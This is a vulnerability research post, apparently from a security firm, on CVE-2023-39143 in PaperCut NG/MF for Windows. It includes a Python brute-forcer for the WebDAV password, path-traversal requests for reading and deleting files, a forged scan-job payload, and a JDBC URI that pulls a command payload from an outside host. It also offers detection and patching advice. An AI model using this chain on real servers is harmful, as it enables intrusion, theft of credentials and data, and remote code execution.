Back in Aug. 2023 we released an advisory for CVE-2023-39143, a critical vulnerability that affects Windows installs of the PaperCut NG/MF print management software. Attackers can exploit this vulnerability to download and delete arbitrary files, and in certain configurations upload files, leading to remote code execution. This vulnerability was patched in PaperCut version 22.1.3 in July 2023.
This post is a deep dive into the technical details behind this vulnerability. As you’ll see, this isn’t exactly the kind of vulnerability that will win any accolades at Pwn2Own, but it’s something that a patient determined attacker may choose to exploit in certain targeted scenarios. It’s in an interesting case study of how a bunch of seemingly minor issues can be chained together to achieve total compromise.
We decided to research PaperCut last year after reports of widespread exploitation of CVE-2023-23750. A number of Horizon3 customers are in the state/local/education sector and are users of PaperCut.
PaperCut is a traditional Java web application. Looking through the web.xml
, one of the interesting endpoints that stood out was a WebDAV endpoint:
This endpoint is guarded by the WebDavSecurityFilter
class, which checks for basic authentication credentials for the papercut-webdav
user. The password is a 6 digit code and can be brute forced. No rate-limiting is enforced on this endpoint.
In our local network it took about an hour to get through all million codes. An attacker’s speed of brute forcing will vary depending on the network, how many parallel threads are run, and how many PaperCut instances are being targeted at once.
import requests
import base64
requests.packages.urllib3.disable_warnings()
from concurrent.futures import ThreadPoolExecutor
import sys
url = 'https://10.0.229.11:9192/webdav/hi'
def try_passwords(min, max):
for i in range(min, max):
password = str(i).rjust(6, '0')
auth_raw = 'papercut-webdav:' + password
auth_header = 'Basic ' + base64.b64encode(auth_raw.encode()).decode()
r = requests.post(url, headers = {'Authorization': auth_header}, verify=False)
print(i, r.status_code)
if (r.status_code != 403):
# if successful, will return 501 Not implemented because POST is not supported
print(f'Got password! {password}')
sys.exit(0)
with ThreadPoolExecutor(max_workers=5) as executor:
executor.submit(try_passwords, 0, 200000)
executor.submit(try_passwords, 200000, 400000)
executor.submit(try_passwords, 400000, 600000)
executor.submit(try_passwords, 600000, 800000)
executor.submit(try_passwords, 800000, 1000000)
Note that the WebDAV endpoint only operates over HTTPS, and in general everything in this post requires access to a PaperCut server over HTTPS.
net.sf.webdav
PackageGetting access to the WebDAV interface opens up an interesting attack surface. The code in WebDavSecurityFilter
disallows GET requests, but other HTTP methods such as MOVE
, COPY
, DELETE
, and PUT
are allowed.
PaperCut’s WebDavServlet
class extends net.sf.webdav.WebdavServlet
in the third party net.sf.webdav
package. We found a Windows-specific path traversal vulnerability in this package where paths are sanitized for forward slashes but not backslashes.
This is a very old third party package and it doesn’t appear to have a maintainer. We traced shared code in this package back to Apache Tomcat, but this is not exploitable in Tomcat because Tomcat prohibits backslashes in paths. PaperCut uses Jetty, which is happy to pass the backslashes through.
With the path traversal, it’s possible to list the contents of arbitrary directories on the host using the WebDAV PROPFIND
method. Here’s an example of listing files and directories under C:\Users
.
It’s possible to use the path traversal to delete arbitrary files and folders on the file system. Here’s an example of deleting the C:\test
folder.
As mentioned above, the WebDavSecurityFilter
class guards against GET requests hitting the WebDavServlet
. However, we found a second Windows-specific path traversal issue in the CustomReportExample
servlet that allows retrieval of image files at arbitrary paths on the file system.
We found that we could use the first path traversal issue in the net.sf.webdav
package to COPY
arbitrary files into the PaperCut webdav
folder with a png
extension, and then use the second path traversal issue in CustomReportExampleServlet
to retrieve those files.
Here’s an example of retrieving PaperCut’s server.properties
file, which contains the admin user’s password hash.
Combined with the ability to list arbitrary directories using PROPFIND
, this means an attacker can exfiltrate anything on disk. For instance, PaperCut uses Derby by default as a database, and these Derby database files can be retrieved. An attacker can then use tools like ij to execute SQL to access any data in the database.
The WebDavServlet
class supports uploading files via the HTTP PUT
method, and this is also vulnerable to path traversal, but there’s a catch. The path to the PUT
must start with a valid scan job id, i.e. it must look something like https://<server>:<port>/webdav/<scan job id>/..\..\..\<filename>
. This interface is meant for printers to upload files for scan jobs to PaperCut.
To exploit this endpoint then, an attacker must be able to generate a valid scan job id. This requires a configuration of PaperCut where external device integration is turned on. This is the default for PaperCut MF and certain flavors of PaperCut NG. From our testing in client environments, the vast majority of PaperCut users have this setting turned on.
Assuming this external device integration setting is turned on, there are two scenarios where an attacker can generate a scan job id:
We’ll look at each of these scenarios.
PaperCut’s main application server exposes an API for secondary servers (site servers) to carry out actions on behalf of users that connect to the site server. One of these APIs allows site servers to create scan jobs.
Requests to the site server API are authenticated using a site server UUID. This is something an attacker can acquire by exploiting the arbitrary file download vulnerability described earlier.
An attacker can pretend to be a site server and submit scan jobs using the site server API. To create a scan job, an attacker would send a scan job request to the /rpc/api/rest/master/scan-job/createJob/<site server UUID>
endpoint with a scan job request JSON payload that looks something like this.
{
"username": [
"jsmith"
],
"locale": [
"rO0ABXNyABBqYXZhLnV0aWwuTG9jYWxlfvgRYJww+ewDAAZJAAhoYXNoY29kZUwAB2NvdW50cnl0ABJMamF2YS9sYW5nL1N0cmluZztMAApleHRlbnNpb25zcQB+AAFMAAhsYW5ndWFnZXEAfgABTAAGc2NyaXB0cQB+AAFMAAd2YXJpYW50cQB+AAF4cP////90AAJVU3QAAHQAAmVucQB+AARxAH4ABHg="
],
"userParams": [],
"jobSettings": [
"rO0ABXNyADNiaXoucGFwZXJjdXQucGNuZy5kb21haW4uc2Nhbi5TY2FuU2V0dGluZ3NGYWN0b3J5JDSVL6JDv6zlygIAAUwAD3ZhbCRzZXR0aW5nc01hcHQAD0xqYXZhL3V0aWwvTWFwO3hyAC1jb20ucGFwZXJjdXQuc2VydmVyLmxhbmcuc2Nhbi5TY2FuSm9iU2V0dGluZ3OtAwAAtdjyIwIAAHhwc3IANWNvbS5nb29nbGUuY29tbW9uLmNvbGxlY3QuSW1tdXRhYmxlTWFwJFNlcmlhbGl6ZWRGb3JtAAAAAAAAAAACAAJbAARrZXlzdAATW0xqYXZhL2xhbmcvT2JqZWN0O1sABnZhbHVlc3EAfgAFeHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdXEAfgAHAAAAAA=="
],
"accountName": [
"jsmith"
],
"deviceId": [
"43422"
],
"scanActionId": [
"1001"
]
}
In the above payload, the username
and accountNames
are any user in the system, the deviceId
doesn’t matter, and the scanActionId
is set to first default scan action id of 1001.
The return value from this API call is a scan job id. This can be then used against the WebDAV API using the PUT
method to place a file anywhere on the file system.
If PaperCut has been configured with a device that supports integrated scanning, and integrated scanning has also been enabled for that device, it’s possible to create a scan job for that device using the external device XMLRPC API hosted at /rpc/extdevice/xmlrpc
.
The XMLRPC API is meant to be used by external devices. The API requires authentication, and there is a unique username and password per device type. The username hashes and password hashes or these devices are stored in the source code. We were able to discover valid cleartext credentials for the API in the PaperCut install itself. We were then able to authenticate to the API and start a session using the beginSession
API (we are not disclosing the hardcoded credentials here).
>>> import xmlrpc.client
>>> import ssl
>>> c = xmlrpc.client.ServerProxy('https://10.0.229.11:9192/rpc/extdevice/xmlrpc', context=ssl._create_unverified_context())
>>> c.api.beginSession('REDACTED', 'REDACTED', '1.5')
'dAZ8R'
From there, the integratedScanJobStarted
API can be used to create a scan job id, using a valid device id and username.
Then a file can be placed anywhere on disk using the WebDAV PUT
method:
There are a few paths to remote code execution, especially if file upload is possible. Perhaps the easiest method for RCE is to leverage another vulnerability reported to ZDI by an Anonymous user as ZDI-CAN-21013. This vulnerability was fixed in the same patch release that CVE-2023-39143 was fixed. This vulnerability is related to an out-of-date Postgres driver vulnerable to CVE-2022-21724.
To exploit this, an attacker would first need to acquire the admin password. This can be accomplished in one of two ways:
server.properties
file by exploiting the arbitrary file download aspect of CVE-2023-39143server.properties
file containing a new admin password. PaperCut dynamically reads this file every time an admin tries to log in.For instance to reset the admin password to admin12345
:
Once logged in as admin, the Postgres driver can be exploited by setting up a crafted JDBC URI in the External User Lookup section of the Advanced config:
For instance setting the value to jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://10.0.225.200:900/exp.xml
will cause the PaperCut server to connect back to the IP address 10.0.225.200 to download an XML payload containing an OS command to execute (in this case a ping command):
The execution of the OS command can be triggered by simply searching for a user in the Users UI, following PaperCut’s instructions here.
The following command checks if a PaperCut server is not patched for CVE-2023-39143 and is running on Windows.
curl -w "%{http_code}" -k --path-as-is "https://<IP>:<port>/custom-report-example/..\..\..\deployment\sharp\icons\home-app.png"
A 200 response indicates the server has not been patched and is running on Windows. A 404 response indicates the server has been patched or not running on Windows.
The following checks if the WebDAV endpoint is accessible, which is a requirement for exploiting CVE-2023-39143.
A 401 response code indicates the WebDAV interface is accessible.
From a network detection rules standpoint, any traffic going to the /webdav
endpoint should be considered suspicious. The PaperCut server.log
will show failed authentication attempts:
If you’re a user of PaperCut who is exposing it to the Internet and still haven’t yet updated to 22.1.3+, we highly recommend you update to the latest. If upgrading is not immediately possible, it is possible to mitigate this vulnerability by configuring an allowlist of device IP addresses that are permitted to communicate with the PaperCut server. Refer to the “IP Address Allow-listing” section of the PaperCut security best practices guide.
In the July 2023 patch release, PaperCut addressed most of these issues. The WebDAV endpoint requires a strong password that can’t be brute forced, and rate limiting is enforced. There are restrictions on the WebDAV methods that can be called. The path traversal issue in the CustomReportExample
servlet is fixed, and there’s logic in place to prevent malicious paths from making to to the net.sf.webdav
package.
From our experience, third party packages continue to be a major blind spot for application security, and it’s not just about the known vulnerabilities. It’s the latent attack surface represented by all the undiscovered vulnerabilities out there in libraries that developers rarely look at and appsec tools are rarely configured to inspect.